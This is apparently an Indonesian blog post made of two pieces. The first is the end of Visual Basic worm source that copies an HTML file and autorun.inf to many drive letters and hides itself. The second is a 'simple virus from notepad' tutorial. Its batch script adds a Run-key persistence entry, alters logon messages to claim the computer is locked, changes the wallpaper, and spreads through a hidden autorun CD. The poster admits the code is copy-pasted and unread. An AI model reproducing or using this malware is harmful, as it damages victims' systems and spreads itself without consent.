FileCopy winpath + “\ perempuanku.htm”, “f:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “g:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “h:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “i:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “j:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “k:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “l:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “m:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “n:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “o:\ perempuanku.htm”

FileCopy winpath + “\autorun.inf”, “d:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “e:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “f:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “g:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “h:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “i:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “j:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “k:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “l:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “m:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “n:\autorun.inf”
FileCopy winpath + “\autorun.inf”, “o:\autorun.inf”
Timer7.Enabled = False
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False

End Sub

Private Sub Timer6_Timer()
Timer5.Enabled = False
Timer7.Enabled = True
Form1.Visible = False
End Sub

Private Sub Timer7_Timer()
Form1.Visible = True
Timer6.Enabled = False
Timer5.Enabled = True
End Sub


nb:sory ya fren kalo ada yang salah maklum ini aku tinggal kopi paste doank.belum aku baca keseluruhannya

cara buat virus sederhana dari notepad

caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… Laughing ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya